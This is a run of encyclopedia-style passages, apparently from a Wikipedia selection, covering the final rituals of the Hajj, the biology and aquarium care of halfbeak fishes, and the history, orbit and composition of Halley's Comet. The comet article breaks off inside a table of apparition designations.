          As part of this ritual, the pilgrims also drink water from the Zamzam Well, which is made available in coolers throughout the Mosque. The pilgrims then return to their tents.


          


          Arafat
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          The next morning, on the ninth of Dhu al-Hijjah, the pilgrims leave Mina for Mount Arafat. This is considered the highlight of the Hajj, as they stand in contemplative vigil, near a hill from which Muhammad gave his last sermon. Pilgrims must spend the afternoon within a defined area on the plain of Arafat until after sunset. No specific rituals or prayers are required during the stay at Arafat, although many pilgrims spend time praying, talking to God, and thinking about the course of their lives. If a pilgrim does not spend the afternoon on Arafat then their pilgrimage is considered invalid.


          


          Muzdalifah


          As soon as the sun sets, the pilgrims leave Arafat for Muzdalifah, an area between Arafat and Mina, where 49 pebbles are gathered for the next day's ritual of the stoning of the Devil (Shaitan). Many pilgrims spend the night sleeping on the ground at Muzdalifah, before returning to Mina. It is now the 10th of the month, the day of Eid ul-Adha.


          


          Ramy al-Jamarat
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          At Mina, the pilgrims perform Ramy al-Jamarat, throwing stones to signify their defiance of the Devil. This symbolizes the trials experienced by Abraham, as he wrestled with whether or not to sacrifice his son per God's demand. The Devil challenged him three times, and three times Abraham refused. Each pillar marks the location of one of these refusals. Each pilgrim must hit each pillar at least seven times. Because of the crowds, in 2004 the pillars were changed to long walls. Pilgrims climb ramps to the multi-leveled Jamarat Bridge, from which they can throw their stones at the three jamarat.


          


          Eid ul-Adha


          After the Stoning of the Devil, an animal is sacrificed. This symbolizes God having mercy on Abraham, and replacing his son with a ram, which Abraham then sacrificed.


          Traditionally the pilgrim slaughtered the animal himself or oversaw the slaughtering. Today many pilgrims buy a sacrifice voucher in Mecca before the greater Hajj begins; this allows an animal to be slaughtered in their name on the 10th without the pilgrim being physically present. Centralized butcher houses will sacrifice a single sheep for each pilgrim, or a cow can represent the sacrifice of seven people. The meat is then packaged and given to charity, shipped to poor people around the world. At the same time as the sacrifices occur at Mecca, Muslims worldwide perform similar sacrifices, in a four day global festival called Eid ul-Adha.


          


          Tawaf az-Ziyarah
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          On this or the following day the pilgrims re-visit the Masjid al-Haram in Mecca for a tawaf called the Tawaf az-Ziyarah (or Tawaf al-Ifadah which is symbol being in a hurry to respond to god and show love for Him) which is an obligatory part of the Hajj. The night of the 10th is spent back at Mina.


          On the afternoon of the 11th, pilgrims must again stone all three jamarat in Mina (seven pebbles per jamarat). The same ritual must be performed on the following day.


          Pilgrims must leave Mina for Mecca before sunset on the 12th. If they are unable to leave Mina before sunset, they must perform the stoning ritual again on the 13th before returning to Mecca.


          


          Tawaf al-Wada


          Finally, before leaving Mecca, pilgrims perform a farewell tawaf called the Tawaf al-Wada.


          


          Journey to Medina


          Though it is not required as part of the Hajj, many pilgrims also travel to visit the city of Medina and the Mosque of the Prophet. Muhammad's tomb is enclosed by the mosque. Pilgrims may also visit the tomb of Muhammad's daughter, Fatimah.


          


          In popular culture


          The virtual reality game Second Life has an area named Mecca, which has been purchased by IslamOnline, an Egyptian company. As of 2007, both Muslims and non-Muslims may perform Hajj rituals there, as an educational exercise.
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          The halfbeaks ( family Hemiramphidae) are a geographically widespread and numerically abundant family of epipelagic fish inhabiting warm waters around the world. The family Hemiramphidae is divided into two subfamilies, the primarily marine Hemiramphinae and the freshwater or estuarine Zenarchopterinae. The halfbeaks are named for their distinctive jaws, in which the lower jaws are significantly longer than the upper jaws. The halfbeaks are remarkable for showing an exceptionally wide range of reproductive modes. These include egg-laying, ovoviviparity, and true vivipary where the mother is connected to the developing embryos via a placenta-like structure. In some of the livebearing species, developing embryos are also known to exhibit oophagy or intrauterine cannibalism, where developing embryos feed on eggs or other embryos within the uterus.


          Though not commercially important themselves, these fish support artisanal fisheries and local markets worldwide. They are also fed upon by other commercially important predatory fishes, such as billfishes, mackerels, and sharks. Some halfbeaks are maintained as aquarium fish in the fishkeeping hobby.


          


          Taxonomy


          The first halfbeak to be scientifically described was Esox brasiliensis, by Carolus Linnaeus in 1758. Two more species were described as Esox, Esox far and Esox marginatus, by Peter Forsskl in 1775. It was not until 1816 that Georges Cuvier created the genus Hemiramphus; from then on, these three species were classified as Hemiramphus species. Hemiramphidae was erected by Gill in 1859, deriving its name from Hemiramphus, the family's type genus. The name comes from the Greek hemi, meaning half, and rhamphos, meaning a beak or bill.
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          The family Hemiramphidae is currently divided into two subfamilies, the Hemiramphinae and the Zenarchopterinae, each containing about half the known species. In a 2004 review of the family, two subfamilies, 13 genera, and 117 species and subspecies were recognised. More recently, Hemiramphidae has been listed to include 12 genera and about 109 species, with the genus Oxyporhamphus moved to Exocoetidae.


          The Hemiramphinae are primarily marine and found in the Atlantic, Pacific, and Indian Oceans, though some inhabit estuaries and rivers. The Zenarchopterinae are confined to the Indo-West Pacific zoogeographic region, an area running from East Africa to the Caroline Islands. The Zenarchopterinae are remarkable for exhibiting strong sexual dimorphism, practicing internal fertilisation, and in some cases being ovoviviparous or viviparous. Three genera in this subfamily are exclusively freshwater fish and several, such as the wrestling halfbeak, have become commonly traded aquarium fish. It is believed by some authors that the recognition of Zenarchopterinae as a separate family (Zenarchopteridae) probably should be accepted.


          


          Evolution


          The fossil record of the halfbeaks extends into the Lower Tertiary. The earliest known halfbeak is Brachyrhamphus bolcensis from the Eocene at Monte Bolca, Italy. Apart from differences in the length of the upper and lower jaws, recent and fossil halfbeaks are distinguished by the fusion of the third pair of upper pharyngeal bones into a plate.
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          The phylogeny of the halfbeaks is controversial and currently in a state of flux.


          On the one hand, there is little question that they are most closely related to three other families of streamlined, surface water fishes: the flyingfishes, needlefishes, and sauries. Traditionally, these four families have been taken to together comprise the order Beloniformes. The halfbeaks and flyingfishes are considered to form one group, the superfamily Exocoetoidea, and the needlefishes and sauries another, the superfamily Scomberesocoidea.


          On the other hand, recent studies have demonstrated that rather than forming a single monophyletic group (a clade), the halfbeak family actually includes a number of lineages ancestral to the flyingfishes and the needlefishes. In other words, as traditionally defined, the halfbeak family is paraphyletic.


          Within the subfamily Hemiramphinae, the "flying halfbeak" genus Oxyporhamphus has proved to be particularly problematical; while morphologically closer to the flyingfishes, molecular evidence places it with Hemiramphus and Euleptorhamphus. Together, these three genera form the sister group to the flyingfish family. The other two hemiramphine genera Hyporhamphus and Arrhamphus form another clade of less clear placement.


          Rather than being closely related to the flyingfishes, the subfamily Zenarchopterinae appears to be the sister group of the needlefishes and sauries. These is based on the pharyngeal jaw apparatus, sperm ultrastructure, and molecular evidence. However, this hypothesis has awkward implications for how the morphological evolution of the group is understood, because the fused pharyngeal plate has been considered reliably diagnostic of the halfbeak family. Furthermore, the existing theory that because juvenile needlefish pass through a developmental stage where the lower jaw is longer than the upper jaw (the so-called "halfbeak stage") the theory that halfbeaks are paedomorphic needlefish is untenable. In fact the unequal lengths of the upper and lower jaws of halfbeaks appears to be the basal condition, with needlefish being relatively derived in comparison.


          


          Morphology
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          The halfbeaks are elongate, streamlined fish adapted to living in open water. Halfbeaks range in size from 4 centimetres (1.6 in) standard length (SL) in Hemirhamphodon tengah to over 40cm (16in) SL in the case of Euleptorhampus viridis. The scales are relatively large, cycloid (smooth), and easily detached. There are no spines in the fins. A peculiarity shared by all halfbeaks that distinguishes them from the other fishes in the Beloniformes is that the third pair of upper pharyngeal bones are anklylosed (fused) into a plate. Halfbeaks are one of a number of fish families that lack a stomach, all of which possess a pharyngeal jaw apparatus (pharyngeal mill). Most species have an extended lower jaw, at least as juveniles, though this feature may be lost as the fish mature, as with Chriodorus, for example.


          As is typical for surface dwelling, open water fish, most species are silvery, and darker above and lighter below, an example of countershading. The tip of the lower jaw is bright red or orange in most species. Small patches of colour, particularly among males, are only found on the fins and the tip of the beak.


          Halfbeaks demonstrate a number of adaptations to feeding at the surface of the water. The eyes and nostrils are at the top of the head and it is the upper jaw that is mobile, not the lower jaw. Combined with their streamlined shape and the concentration of fins towards the back (similar to that of a pike), these adaptations allow halfbeaks to locate, catch, and swallow food items very effectively.


          


          Sexual dimorphism


          Sexual dimorphism is apparent in some species of halfbeak. Males of the ovovivaparous and vivaparous species all have a modified anal fin, the andropodium, similar to the gonopodium of poecilid livebearers, used to deliver sperm to the females. Although most of the egg laying species mate by shedding the milt externally, as is typical for bony fish, at least some egg-laying species practise internal fertilisation: male Zenarchopterus use a modified anal fin to direct sperm into the genital opening of the female prior to spawning.


          Besides modifications to the anal fin, other differences include size, colouration, and the length or shape of the beak. Female Normorhamphus are much larger than males but aren't as brightly coloured and have shorter beaks. By contrast, male Hemirhamphodon are larger than the females, and some species, such as Hemirhamphodon pogonognathus, also have a long beard-like tassle on the end of the beak.


          


          Distribution
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          Halfbeaks are found in warm seas, predominantly at the surface, occurring in the Atlantic, Indian, and Pacific oceans. A small number are found in estuaries and some species, including all the species in the genera Dermogenys, Hemirhamphodon, Nomorhamphus, and Tondanichthys are confined to freshwaters. Most species of marine halfbeaks are known from continental coastlines, but some extend into the western and central Pacific, and one species is endemic to New Zealand. Hemiramphus is a worldwide marine genus.


          The freshwater halfbeaks all occur in freshwater or estuaries in the Indo-West Pacific region. There is a particularly high concentration of species on the island of Celebes.


          


          Ecology and behaviour


          


          Diet


          Marine halfbeaks are omnivores feeding on algae; marine plants such as seagrasses; plankton; invertebrates such as pteropods and crustaceans; and smaller fishes. For some subtropical species at least, juveniles are more predatory than adults. Some tropical species have been observed to feed on animals during the day and plants at night, while other species alternate between carnivory in the summer and herbivory in the winter. They are in turn eaten by many ecologically and commercially important predatory fish, such as billfish, mackerel, and sharks, and so are a key link between trophic levels.


          The freshwater species are more predatory than the marine species, and typically orient themselves into the water current and take aquatic insect larvae, such as midge larvae, and small insects, such as flies that have fallen on the surface of the water, particularly mosquitoes and spiders.


          


          Behaviour


          Marine halfbeaks are typically pelagic schooling fish that swim close to the surface of the sea. The southern sea garfish Hyporhamphus melanochir for example is found in sheltered bays, coastal seas, estuaries around southern Australia in waters down to a depth of 20 m (66 ft). These fish form schools near the surface at night but swim closer to the sea floor during the day, particularly among beds of seagrasses. Genetic analysis of the different sub-populations of the eastern sea garfish Hyporhamphus melanochir in South Australian coastal waters reveals that there is a small but consistent migration of individuals between each sub-population, sufficient to keep them genetically homogenous.


          Freshwater halfbeaks vary in social behaviour from open water schooling fish similar to the marine halfbeaks, as with species of Zenarchopterus, through to much more aggressive and combative fishes, as is best known with the "wrestling" halfbeaks of the genus Dermogenys. These non-schooling freshwater halfbeaks prefer to lurk among aquatic plants such as reeds, dead trees, and artificial structures of various types; from there they will wait for small prey animals to drift by or alight on the surface, and then the halfbeak will dart out of their hiding place to capture its prey. Notably, these freshwater halfbeaks feed extensively on female mosquitoes that are laying their eggs in the water, making them much better at mosquito control that species like guppies and mosquitofish that only take mosquito larvae.


          Some marine halfbeaks, including Euleptorhamphus velox and Euleptorhamphus viridis, are know for their ability to jump out of the water and glide over the surface for considerable distances, and have consequently sometimes been called flying halfbeaks.


          


          Reproduction
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          Halfbeaks exhibit a remarkably wide variety of reproductive modes ranging from straightforward egg-laying ( oviparity) through to various form of livebearing ( ovoviviparity and viviparity). There is a taxonomic split in this however: all Hemiramphinae are egg-layers, while many of the Zenarchopterinae are either ovoviviparous or viviparous.


          


          Oviparity in the Hemiramphinae


          Hemiramphinae species are all external fertilizers. They are usually egg-layers and often produce relatively small numbers of fairly large eggs for fish of their size, typically in shallow coastal waters, such as the seagrass meadows of Florida Bay. The eggs of Hemiramphus brasiliensis and H. balao are typically 1.52.5 millimetres (0.0590.098in) in diameter and have attaching filaments. They hatch when they are about 4.811mm (0.190.43in) in diameter. Hyporhamphus melanochir eggs are slightly larger, around 2.9 millimetres in diameter, and are unusually large when they hatch, being up to 8.5 millimetres in size.


          Relatively little is known about the ecology of juvenile marine halfbeaks after hatching, though estuarine habitats seem to be favoured by at least some species. The southern sea garfish Hyporhamphus melanochir grows rapidly at first, attaining a length of up to 30 centimetres in the first three years, after which point growth slows down. This species lives for a maximum age of about 9 years, at which point the fish will be up to 40 centimetres and weigh about 0.35kilogrammes.


          


          Viviparity in the Zenarchopterinae


          
            [image: Female Dermogenys sumatrana a day or so before giving birth.]

            
              Female Dermogenys sumatrana a day or so before giving birth.
            

          


          The freshwater halfbeaks of the genera Dermogenys, Hemirhamphodon, and Nomorhamphus are all livebearers, that is, they do not lay eggs but instead produce well-developed free-swimming young. However, there is a great deal of variation in the details. Meisner and Burns identified no fewer than five distinct modes of viviparity and ovovivparity in the freshwater halfbeaks:


          
            	Type 1: Fertilised eggs retained within the ovarian follicle. Superfetation, that is storage of sperm, does not occur. The eggs are provided with a large yolk sac and have little or no connection to the maternal blood supply. Example: Southeast Asian populations of Dermogenys pusilla.


            	Type 2: Fertilised eggs retained within the ovarian follicle. Superfetation does occur, with up to three broods resulting from a single mating. The eggs are provided with a small yolk sac but the embryos instead have a connection to the maternal supply through the coelomic cavity and pericardial sac. Examples: Dermogenys pusilla from Sabah and Dermogenys orientalis.


            	Type 3: Fertilised eggs retained within the ovarian follicle only for the early stages of development, with the embryos later developing along the full length of the ovary. Superfetation does occur, and up to two broods can develop simultaneously in the ovary. The eggs are provided with a small yolk sac but the embryos have a connection to the maternal supply through an expanded belly sac. Example: Dermogenys viviparus.


            	Type 4: Fertilised eggs retained within the ovarian follicle only for the early stages of development, with the embryos later developing along the full length of the ovary. Superfetation does not occur. The eggs are provided with a large yolk sac and the embryos have no connection to the maternal blood supply. Examples: Nomorhamphus megarrhamphus, Nomorhamphus weberi, and Nomorhamphus towoetii.


            	Type 5: Fertilised eggs retained within the ovarian follicle only for the early stages of development, with the embryos later developing along the full length of the ovary. Superfetation does occur, and embryos of different ages can be found in the ovaries. The eggs are provided with a small yolk sac and the embryos only have a connection to the maternal blood supply for only part of their development. Late-stage embryos appear to eat eggs and small embryos in ovary. Note that embryos eating eggs and other embryos has been observed in a few other fishes, most notably sharks (see article on oophagy). Example: Nomorhamphus ebrardtii.

          


          As with other livebearing fish, freshwater halfbeaks produce small broods of large offspring compared with egg-laying species of similar size, with broods of around ten to twenty, 1015mm long offspring being typical.


          


          Relationship to humans


          


          Halfbeak fisheries


          Halfbeaks are not a major target for commercial fisheries, though small fisheries for them exist in some places, for example in South Australia where fisheries target the southern sea garfish (Hyporhamphus melanochir). and the eastern sea garfish (Hyporhamphus australis). Halfbeaks are caught by a variety of methods including seines and pelagic trawls, dip-netting under lights at night, and with haul nets. They are utilized fresh, dried, smoked, or salted, and they are considered good eating. However, even where halfbeaks are targeted by fisheries, they tend to be of secondary importance compared with other edible fish species.


          In some localities significant bait fisheries exist to supply sport fishermen. One study of a bait fishery in Florida that targets Hemiramphus brasiliensis and Hemiramphus balao suggests that despite increases in the size of the fishery the population is stable and the annual catch is valued at around $500,000.


          


          In the aquarium


          
            [image: Nomorhamphus liemi liemi halfbeaks ready for introduction to a new aquarium.]

            
              Nomorhamphus liemi liemi halfbeaks ready for introduction to a new aquarium.
            

          


          Some of the smaller freshwater species are kept as aquarium fish in the ornamental fishkeeping hobby. Species of the genera Dermogenys and Nomorhamphus are quite commonly kept as aquarium fish; species of Hemirhamphodon and Zenarchopterus are rather less commonly seen. They are small and generally peaceful towards other species, although males can be aggressive to one another. Male Dermogenys pusillius in particular fight vigorously and sometimes these battles end in injuries; this fish has therefore become known as the wrestling halfbeak and in some Asian countries fights between males are used for betting purposes in much the same way as the Siamese fighting fish.


          To be kept successfully, halfbeaks require an aquarium with plenty of space at the surface. Depth is not critical, so a tank that is wide is better than one that is deep. They are sensitive to low oxygen levels but are otherwise relatively hardy, with one important exception: they are intolerant to sudden changes in salinity, pH, hardness, or temperature. Consequently, they must be introduced to a new aquarium gently, and subsequent water changes are best small but frequent so the water chemistry does not change suddenly. A few species, most notably Dermogenys pusillius, have traditionally been kept in slightly brackish water, though some authors disputer this and suggest that reports that these fish come from brackish water come from the misidentification of juvenile estuarine and marine halfbeaks as adult freshwater halbeaks.


          Halfbeaks are nervous fish and shocks like sudden changes in illumination can cause them to swim around the tank frantically. They may hit themselves on the glass, injuring their beaks, or jump out of the tank completely. Injuries to the beak usually heal within a few weeks. They will eat insect larvae such as bloodworms readily, as well as crustacean eggs, shrimps, fruit flies, and even small pieces of chopped white fish. Halfbeaks sometimes eat flake foods as well. Some aquarists also offer them tiny pieces of algae wafer on the basis that most species are omnivorous in the wild, and so a certain amount of green food probably does them good.


          Halfbeaks will breed in captivity, but despite being livebearers they are not particularly easy to breed. Miscarriages are common, particularly if the females are stressed or shocked (for example, by being moved to another aquarium). Once the fry have been born, things get much simpler, as the baby halfbeaks are quite big and will eat newly hatched brine shrimps, small live foods such as daphnia, and powdered flake.


          


          Conservation status


          A small number of freshwater halfbeaks are listed in various categories on the IUCN Red List defining their risk of extinction. None of these species are traded as aquarium fish. Most are simply rare in the wild, and consequently at particular risk from habitat destruction.


          
            	Dermogenys megarramphus  Lower Risk, Near Threatened


            	Dermogenys weberi  Vulnerable


            	Nomorhamphus celebensis  Data Deficient


            	Nomorhamphus towoeti  Vulnerable


            	Tondanichthys kottelati  Vulnerable


            	Zenarchopterus alleni  Data Deficient


            	Zenarchopterus robertsi  Lower Risk, Least Concern

          


          


          Images of halfbeaks
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              1P/Halley
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              	Discovery
            


            
              	Discovered by:

              	prehistoric;

              Named after Edmond Halley
            


            
              	Discovery date:

              	1758 (first predicted perihelion)
            


            
              	Alternate designations:

              	Halley's Comet, 1P (see Designation below)
            


            
              	Orbital characteristics A
            


            
              	Epoch:

              	2449400.5

              ( February 17, 1994)
            


            
              	Aphelion distance:

              	35.1 AU

              ( December 9, 2023)
            


            
              	Perihelion distance:

              	0.586 AU
            


            
              	Semi-major axis:

              	17.8 AU
            


            
              	Eccentricity:

              	0.967
            


            
              	Orbital period:

              	75.3 a
            


            
              	Inclination:

              	162.3
            


            
              	Last perihelion:

              	February 9, 1986
            


            
              	Next perihelion:

              	July 28, 2061
            


            
              	
            

          


          Halley's Comet, officially designated 1P/Halley and also referred to as Comet Halley after Edmond Halley, is a comet that can be seen every 7576 years. It is the most famous of all periodic comets. Although in every century many long-period comets appear brighter and more spectacular, Halley is the only short-period comet that is clearly visible to the naked eye, and thus, the only naked-eye comet certain to return within a human lifetime. Halley's Comet last appeared in the inner Solar System in 1986, and will next appear in mid 2061.


          


          Pronunciation


          Halley is generally pronounced /ˈhlɪ/, rhyming with valley, or (especially in the US) /ˈheɪlɪ/ "Hailey", but Edmond Halley himself probably pronounced his name /ˈhɔːlɪ/ "Hawley", with the "hall-" rhyming with "call" or "small".


          


          Edmond Halley's study


          Halley's Comet was the first comet to be recognized as periodic. Perceiving that the observed characteristics of the comet of 1682 were nearly the same as those of two comets which had appeared in 1531 (observed by Petrus Apianus) and 1607 (observed by Johannes Kepler in Prague), Halley concluded that all three comets were in fact the same object returning every 76years (a period that has since been amended to every 7576 years). After a rough estimate of the perturbations the comet would sustain from the attraction of the planets, he predicted its return for 1758. Halley's prediction of the comet's return proved to be correct, although it was not seen until 25 December 1758 by Johann Georg Palitzsch, a German farmer and amateur astronomer, and did not pass through its perihelion until March 13, 1759; the attraction of Jupiter and Saturn having caused a retardation of 618days, as was computed by a team of three French mathematicians, Alexis Clairault, Joseph Lalande, and Nicole-Reine Lepaute, previous to its return. Halley did not live to see the comet's return, having died in 1742.


          


          Notable appearances


          Halley's calculations enabled the comet's earlier appearances to be found in the historical record.


          


          Early appearances


          
            [image: A Babylonian tablet recording the appearance of Halley's comet in 164�BC.]

            
              A Babylonian tablet recording the appearance of Halley's comet in 164BC.
            

          


          
            [image: The comet's appearance in 1066 was recorded on the Bayeux Tapestry. The caption, ISTI MIRANT STELLA, was translated in a 1966 National Geographic article as "These men wonder at the star."]

            
              The comet's appearance in 1066 was recorded on the Bayeux Tapestry. The caption, ISTI MIRANT STELLA, was translated in a 1966 National Geographic article as "These men wonder at the star."
            

          


          
            	240 BC and earlier: Historical records show that Chinese astronomers observed the comet's appearance in 240BC and possibly as early as 467BC. Habitual observations and calculations of appearances after 240BC are recorded by Chinese, Babylonian, Persian, and other Mesopotamian astronomers.


            	87 BC: According to V.G. Gurzadyan and R. Vardanyan, the "Symbol on Tigranes the Great's crown that features a star with a curved tail may represent the passage of Halley's comet in 87 BC. Tigranes could have seen Halley's comet when it passed closest to the Sun on Aug. 6 in 87 BC according to the researchers, who said the comet would have been a 'most recordable event'  heralding the New Era of the brilliant King of Kings.


            	12 BC: Some theologians have suggested that the comet's appearance in 12BC might explain the Biblical story of the Star of Bethlehem.


            	AD 66: In the Talmud, it is mentioned that "There is a star which appears once in seventy years that makes the captains of the ships err". Since this quote is attributed to the Rabbi Yehoshua ben Hananiah, if it is indeed a reference to Halley's Comet, it probably refers to the AD66 perihelion, which was the only one to occur during his lifetime.


            	837: In this year, it is calculated that Comet Halley may have passed as close as 0.03 AU (3.2million miles; 5.1 million kilometres) from Earth, by far its closest approach. Its tail may have stretched 90degrees across the sky.


            	1066: The comet was seen in England and thought to be an omen: later that year Harold II of England died at the Battle of Hastings. Thus it was a bad omen for Harold, but a good omen for William the Conqueror. Shown on the Bayeux Tapestry, and the accounts which have been preserved represent it as having then appeared to be four times the size of Venus, and to have shone with a light equal to a quarter of that of the Moon. This appearance of the comet is also noted in the Anglo-Saxon Chronicle. Having first seen it as a young boy in 989, Eilmer of Malmesbury declared prophetically in 1066: "You've come, have you?You've come, you source of tears to many mothers, you evil. I hate you! It is long since I saw you; but as I see you now you are much more terrible, for I see you brandishing the downfall of my country. I hate you!" . Chaco Native Americans in New Mexico recorded this 1066 comet in their petroglyphs.


            	1301: The artist Giotto di Bondone could have observed the comet and his depiction of the Star of Bethlehem in the Nativity in the Arena Chapel cycle completed in 1305 is a candidate for an early depiction.


            	1456: The comet passed very close to the Earth; its tail extended over 60 of the heavens and took the form of a sabre. According to one story, first appearing in a posthumous biography in 1475 and later embellished and popularized by Pierre-Simon Laplace, Pope Callixtus III excommunicated the 1456 apparition of the comet, believing it to be an ill omen for the Christian defenders of Belgrade, who were at that time being besieged by the armies of the Ottoman Empire. However, no known primary source supports the authenticity of this account.

          


          


          Recent history


          The most recent appearances have been in 1835, 1910, and 1986. Halley will next return in 2061.


          [bookmark: 1835]


          1835


          American satirist and writer Mark Twain was born on November 30, 1835, exactly two weeks after the comet's perihelion. In his biography, he said, "I came in with Halley's comet in 1835. It's coming again next year (1910), and I expect to go out with it. The Almighty has said no doubt, 'Now here are these two unaccountable freaks; they came in together, they must go out together.' " Twain died on April 21, 1910, the day following the comet's subsequent perihelion. The 1985 fantasy film The Adventures of Mark Twain is inspired by this.


          [bookmark: 1910]


          1910


          The April 1910 approach, which came into view around April 20, was notable for several reasons: it was the first approach of which photographs exist, and the comet made a relatively close approach, making it a spectacular sight. Indeed, on May 18, the media, despite the pleas of astronomers, wove sensational tales of mass cyanide poisoning engulfing the planet. In reality, the gas is so diffuse that the world suffered no ill effects from the passage through the tail.


          Many people who claim to remember seeing the 1910 apparition are probably in fact remembering a different comet, the Great Daylight Comet of 1910, which surpassed Halley in brilliance and was actually visible in broad daylight for a short time about four months before Halley made its appearance.


          [bookmark: 1986]


          1986


          
            [image: Comet Halley in 1986]

            
              Comet Halley in 1986
            

          


          The 1986 approach was the least favourable for Earth observers of all recorded passages of the comet throughout history: the comet did not achieve the spectacular brightness of some previous approaches, and with increased light pollution from urbanization, many people never saw the comet at all. Further, the comet appeared brightest when it was almost invisible from the northern hemisphere in March and April, prompting many amateur astronomers to travel to the southern hemisphere for a glimpse of the interloper. However, the development of space travel allowed scientists the opportunity to study the comet at close quarters, and several probes were launched to do so. The Soviet Vega 1 started returning images of Halley on 1986 March 4, and the first ever of its nucleus, and made its flyby on March 6, followed by Vega 2 making its flyby on March 9. On March 14, the Giotto space probe, launched by the European Space Agency, made a closest pass of the comet's nucleus. There were also two Japanese probes, Suisei and Sakigake. The probes were unofficially known as the Halley Armada.


          The first person to visually observe comet Halley on its 1986 return was amateur astronomer Stephen James O'Meara on January 24, 1985. O'Meara used a home-built 24" telescope on top of Mauna Kea to detect the magnitude 19.6 comet. As for the naked eye observing, it was Stephen Edberg (then serving as the Coordinator for Amateur Observations at NASA's Jet Propulsion Laboratory) and Charles Morris who were the first to observe Comet Halley with the naked eye in its 1986 apparition.


          During the Halley's Comet viewing, Yuma, Arizona, was the best place to see the comet without machine. During the week of April 4, the city of Yuma gave the title "Halley's Comet Baby" to the first baby born during that week.


          Based on data, retrieved by Astron, the largest ultraviolet space telescope of the time, during its Halley's Comet observations in December 1985, a group of Soviet scientists developed a model of the comet's coma. The comet was also observed from space by the International Cometary Explorer. Originally International Sun-Earth Explorer 3 the probe was renamed and freed from its L1 Lagrangian point location in Earth's orbit to intercept comets 21P/Giacobini-Zinner and Halley.


          Two Space Shuttle missions  the ill-fated STS-51-L (the Challenger disaster) and STS-61-E  were scheduled to observe Comet Halley from low Earth orbit. 61-E would have been flown by Challenger in March 1986, carrying the ASTRO-1 platform to study the comet. The mission was canceled, and ASTRO-1 would not fly until late 1990 on STS-35.


          


          Origin


          Comets are believed to have two separate points of origin in the Solar System: the Kuiper belt, a flat disc of icy debris between 38 AU (Pluto's orbit) and 50 AU from the Sun, and the Oort cloud, a sphere of cometary bodies which has its inner edge at 50,000 AU. Short period comets (those with orbits lasting 200 years or less) are generally accepted to have emerged from the Kuiper belt, while long period comets, such as Hale-Bopp, whose orbits last for thousands of years, are believed to originate in the Oort cloud. Halley is unusual in that while it is a short period comet, its ultimate origin lies in the Oort cloud, not the Kuiper belt. Its orbit is such that it is believed to have been originally a long period comet but to have been captured by the gravity of the giant planets and sent into the inner Solar System. Halley is grouped with other comets that share this orbit into the Halley family comets.


          


          Orbit


          
            [image: The orbits of three periodic comets, Halley, Borrelly and Ikeya-Zhang, set against the orbits of the outer planets and Pluto. Halley's is to the left]

            
              The orbits of three periodic comets, Halley, Borrelly and Ikeya-Zhang, set against the orbits of the outer planets and Pluto. Halley's is to the left
            

          


          Halley's orbit is highly elliptical, and focused on the Sun. Its perihelion, its closest distance to the Sun, is just 0.6 AU (between the orbits of Mercury and Venus), while its aphelion, or farthest distance from the Sun, is 35 AU, or roughly the distance of Pluto. Unusually for an object in the Solar System, Halley's orbit is retrograde; it orbits the Sun in the opposite direction to the planets, or clockwise from above the Sun's north pole. Its orbit is highly inclined (18) to the ecliptic, with much of it lying below the orbits of the planets (assuming Earth's north pole is "up").


          Due to Halley's highly eccentric orbit, it has one of the highest velocities relative to the Earth in the solar system. The 1910 passage was at a relative velocity of 70.56 km/s (157,800 MPH).


          


          Structure and composition


          The Giotto mission gave planetary scientists their first view of Halley's surface and structure. Although its coma may extend about 100 million kilometres into space, Halley's nucleus is relatively small (barely 15 kilometres long, 8 kilometres wide and 8 kilometres thick) and roughly peanut-shaped. Its mass is extremely low; roughly 2.21014 kg. Its average density is about 0.6 g/cm, indicating that it is very loosely constructed. Its albedo is about 4 percent, meaning that only 4 percent of the sunlight hitting it is reflected; about what one would expect for coal. Thus, despite appearing brilliant white to observers on Earth, Halley's comet is in fact pitch black. Its nucleus has an albedo only of 0.03, darker than coal. As it approaches the inner Solar System, the Sun warms it, causing its surface to sublimate (change directly from a solid to a gas), and jets of volatile material to burst from its black surface. The nucleus rotates every 52 hours, and its day side is far more active than its night side. The gases ejected from the nucleus are 80 percent water vapour, 17 percent carbon monoxide and 34 percent carbon dioxide with traces of hydrocarbons.


          The nucleus is covered with a layer of dust, which retains heat. Each large dust grain is thought to consist of many tiny particles with spaces in between. Some of these spaces are filled with ice, and others are empty. When Halley's comet is closest to the Sun, temperatures can rise to about 77 C. Near the Sun, several tons of gas and dust are emitted each second in the jets. Halley has several shallow craters which are about 1 km in diameter.


          


          Meteor showers


          
            [image: Orionid meteor striking the sky below the Milky Way and to the right of Venus. Zodiacal light is also seen at the image.]

            
              Orionid meteor striking the sky below the Milky Way and to the right of Venus. Zodiacal light is also seen at the image.
            

          


          Because its orbit comes close to Earth's orbit in two places, Comet Halley is the parent body of two meteor showers: the Eta Aquarids in early May, and the Orionids in late October. The Eta Aquarids show orbital similarites approaching Earth as they do of Mars and so a meteor shower at Mars is anticipated there as well but this time appearing to come from Lambda Gemini.


          


          Designation


          This table sets out the astronomical designation for various apparitions of Halley's Comet. For example, "(1P/1982U1, 1986III, 1982i" indicates that for the perihelion in 1986, Halley's Comet was the first period comet known (designated 1P) and this apparition was the first seen in "half-month" U (the first half of November) in 1982 (giving 1P/1982 U1); it was the third comet past perihelion in 1986 (1986 III); and it was the ninth comet spotted in 1982 ( provisional designation 1982i). The perihelion dates of each apparition are shown. The perihelion dates farther from the present are approximate, mainly because of uncertainties in the modeling of non-gravitational effects.


          
            
              	
                
                  	1P/239K1, 239 ( 25 May 240 BC)


                  	1P/163U1, 163, 162a ( 12 November 164 BC)


                  	1P/86Q1, 86 ( 6 August 87 BC)


                  	1P/11Q1, 11 ( 10 October 12 BC)


                  	1P/66B1, 66 ( 25 January 66 AD)


                  	1P/141F1, 141 ( 22 March 141)


                  	1P/218H1, 218 ( 17 May 218)


                  	1P/295J1, 295 ( 20 April 295)


                  	1P/374E1, 374 ( 16 February 374)


                  	1P/451L1, 451 ( 28 June 451)


                  	1P/530Q1, 530 ( 27 September 530)


                  	1P/607H1, 607 ( 15 March 607)


                  	1P/684R1, 684 ( 2 October 684)


                  	1P/760K1, 760 ( 20 May 760)


                  	1P/837F1, 837 ( 28 February 837)


                  	1P/912J1, 912 ( 18 July 912)

                

              

              	
                
                  	1P/989N1, 989 ( 5 September 989)


                  	1P/1066G1, 1066 ( 20 March 1066)


                  	1P/1145G1, 1145 ( 18 April 1145)


                  	1P/1222R1, 1222 ( 28 September 1222)


                  	1P/1301R1, 1301 ( 25 October 1301)


                  	1P/1378S1, 1378 ( 10 November 1378)


                  	1P/1456K1, 1456 ( 9 June 1456)


                  	1P/1531P1, 1531 ( 26 August 1531)


                  	1P/1607S1, 1607 ( 27 October 1607)


                  	1P/1682Q1, 1682 ( 15 September 1682)


